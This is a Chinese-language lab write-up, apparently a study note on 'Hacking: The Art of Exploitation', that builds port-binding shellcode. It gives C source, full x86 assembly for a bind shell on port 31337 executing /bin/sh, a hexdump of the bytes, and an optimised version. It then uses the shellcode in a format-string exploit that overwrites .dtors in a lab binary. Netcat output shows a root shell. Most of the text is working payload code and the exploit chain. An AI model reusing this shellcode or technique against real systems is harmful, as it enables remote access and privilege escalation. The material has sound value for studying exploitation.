参考资料:《Hacking -The art of exploitation》
端口绑定shellcode
1.编写绑定端口的c程序
2.观察参数传递的(尤其是结构参数的)办法
3.编写汇编实现
4.优化代码
5.测试shellcode
=========================
C代码,反汇编之,根据其编写汇编实现
exploit@exploit:~ $ more bind_port.c
#include<unistd.h>
#include<string.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
int main(void){
int sockfd,new_sockfd;//listen on sockfd,new connection on new_sockfd
struct sockaddr_in host_addr,client_addr;//my address info
socklen_t sin_size;
int yes=1;
sockfd=socket(PF_INET,SOCK_STREAM,0);
host_addr.sin_family=AF_INET;
host_addr.sin_port=htons(31337);
host_addr.sin_addr.s_addr=INADDR_ANY;
memset(&(host_addr.sin_zero),'\0',8);
bind(sockfd,(struct sockaddr*)&host_addr,sizeof(struct sockaddr));
listen(sockfd,4);
sin_size=sizeof(struct sockaddr_in);
new_sockfd=accept(sockfd,(struct sockaddr*)&client_addr,&sin_size);
}
========================
exploit@exploit:~ $ more bind_port.s
BITS 32
;s=socket(2,1,0)
push BYTE 0x66 ;socketcall is syscall#102 0x66
pop eax
cdq ;edx is zero now
xor ebx,ebx ;ebx is type of soketcall
inc ebx ;1=SYS_SOCKET=socket()
push edx ;build arg array:{protocol=0,
push BYTE 0x1 ;SOCK_STREAM=1
push BYTE 0x2 ;AF_INET=2}
mov ecx,esp ;ecx=the ptr to arg array
int 0x80 ;after syscall,eax has socket FD
mov esi,eax ;save socket FD in esi for later
;bind(s,[2,31337,0],16)
push BYTE 0x66
pop eax
inc ebx ;2=SYS_BIND=bind()
push edx ;build sockaddr struct:INADDR_ANY=0
push WORD 0X697A ;port=0x7a69=31337
push WORD bx ;AF_INET=2
mov ecx,esp ;ecx=the ptr to sockaddr struct
push BYTE 16 ;build argv array:{sizeof(struct sockaddr)=16
push ecx ;ptr to sockaddr struct
push esi ;socket FD}
mov ecx,esp ;ecx=the ptr to arg array
int 0x80 ;eax=0 on success
;listen(s,0)
mov BYTE al,0x66
inc ebx
inc ebx ;4=SYS_LISTEN=listen()
push ebx ;argv array:{baklog=4,
push esi ;socket FD}
mov ecx,esp
int 0x80
;accept(s,0,0)
mov BYTE al,0x66
inc ebx ;5=SYS_ACCEPT=accept()
push edx ;argv array:{socklen=0
push edx ;sockaddr ptr=NULL
push esi ;socket FD}
mov ecx,esp
int 0x80
;dup2(connected socket,(all three standard I/O FD))
mov ebx,eax ;move socket FD to ebx
push BYTE 0x3f ;dup2 syscall#63 0x3f
pop eax
xor ecx,ecx ;ecx=0 standard input
int 0x80
mov BYTE al,0x3f
inc ecx ;ecx=1 standard output
int 0x80
mov BYTE al,0x3f
inc ecx ;ecx=2 standard error
int 0x80
;execve(const char*filename,char *const argv[],char *const envp[])
mov BYTE al,11 ;execve syscall#11
push edx ;push some nulls for string termination
push 0x68732f2f ;"//sh"
push 0x6e69622f ;"/bin"
mov ebx,esp
push edx
mov edx,esp
push ebx
mov ecx,esp
int 0x80
exploit@exploit:~ $ nasm bind_port.s
exploit@exploit:~ $ hexdump -C bind_port|grep --color=auto 00
00000000 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 e1 cd 80 |jfX.1跜Rj.j..嵬.|
00000010 89 c6 6a 66 58 43 52 66 68 7a 69 66 53 89 e1 6a |.苆fXCRfhzifS.醞|
00000020 10 51 56 89 e1 cd 80 b0 66 43 43 53 56 89 e1 cd |.QV.嵬.癴CCSV.嵬|
00000030 80 b0 66 43 52 52 56 89 e1 cd 80 89 c3 6a 3f 58 |.癴CRRV.嵬..胘?X|
00000040 31 c9 cd 80 b0 3f 41 cd 80 b0 3f 41 cd 80 b0 0b |1赏.?A??A??|
00000050 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 |Rh//shh/bin.鉗.鈢
00000060 53 89 e1 cd 80 |S.嵬.|
00000065
【下面是优化修改版,只省了9个bit.囧】
exploit@exploit:~ $ more bind_shell.s
BITS 32
;s=socket(2,1,0)
push BYTE 0x66 ;socketcall is syscall#102 0x66
pop eax
cdq ;edx is zero now
xor ebx,ebx ;ebx is type of soketcall
inc ebx ;1=SYS_SOCKET=socket()
push edx ;build arg array:{protocol=0,
push BYTE 0x1 ;SOCK_STREAM=1
push BYTE 0x2 ;AF_INET=2}
mov ecx,esp ;ecx=the ptr to arg array
int 0x80 ;after syscall,eax has socket FD
xchg esi,eax ;save socket FD in esi for later
;bind(s,[2,31337,0],16)
push BYTE 0x66
pop eax
inc ebx ;2=SYS_BIND=bind()
push edx ;build sockaddr struct:INADDR_ANY=0
push WORD 0X697A ;port=0x7a69=31337
push WORD bx ;AF_INET=2
mov ecx,esp ;ecx=the ptr to sockaddr struct
push BYTE 16 ;build argv array:{sizeof(struct sockaddr)=16
push ecx ;ptr to sockaddr struct
push esi ;socket FD}
mov ecx,esp ;ecx=the ptr to arg array
int 0x80 ;eax=0 on success
;listen(s,0)
mov BYTE al,0x66
inc ebx
inc ebx ;4=SYS_LISTEN=listen()
push ebx ;argv array:{baklog=4,
push esi ;socket FD}
mov ecx,esp
int 0x80
;accept(s,0,0)
mov BYTE al,0x66
inc ebx ;5=SYS_ACCEPT=accept()
push edx ;argv array:{socklen=0
push edx ;sockaddr ptr=NULL
push esi ;socket FD}
mov ecx,esp
int 0x80
;dup2(connected socket,(all three standard I/O FD))
xchg ebx,eax ;move socket FD to ebx and 0x00000005 in eax
push BYTE 0x2 ;ecx starts at 2
pop ecx
dup_loop:
mov BYTE al,0x3F
int 0x80
dec ecx
jns dup_loop
;execve(const char*filename,char *const argv[],char *const envp[])
mov BYTE al,11 ;execve syscall#11
push edx ;push some nulls for string termination
push 0x68732f2f ;"//sh"
push 0x6e69622f ;"/bin"
mov ebx,esp
push edx
mov edx,esp
push ebx
mov ecx,esp
int 0x80
【下面用fmt的格式化字符串漏洞,测试下】
exploit@exploit:~ $ export SHELLCODE=$(cat bind_shell)
exploit@exploit:~ $ ./getenvaddr SHELLCODE ./fmt
SHELLCODE will be at 0xbffffbf3
exploit@exploit:~ $ objdump -s -j .dtors ./fmt
./fmt: file format elf32-i386
Contents of section .dtors:
8049648 ffffffff 00000000 ........
【把0xbffffbf3写入0x08049648+4】
============================
0x0804964e 0xbfff
0x0804964c 0xfbf3
============================
exploit@exploit:~ $ gdb -q
(gdb) p 0xbfff-8
$1 = 49143
(gdb) p 0xfbf3-0xbfff
$1 = 15348
(gdb)
exploit@exploit:~ $ ./fmt $'\x4e\x96\x04\x08\x4c\x96\x04\x08'%49143x%8\$hn%15348x%9\$hn
.....
【在另一窗口】
exploit@exploit:~ $ netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
.....
tcp 0 0 0.0.0.0:31337 0.0.0.0:* LISTEN
.....
exploit@exploit:~ $ nc localhost 31337
id
uid=1000(exploit) gid=1000(exploit) euid=0(root) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),44(video),103(plugdev),107(lpadmin),108(scanner),1000(exploit)
whoami
root
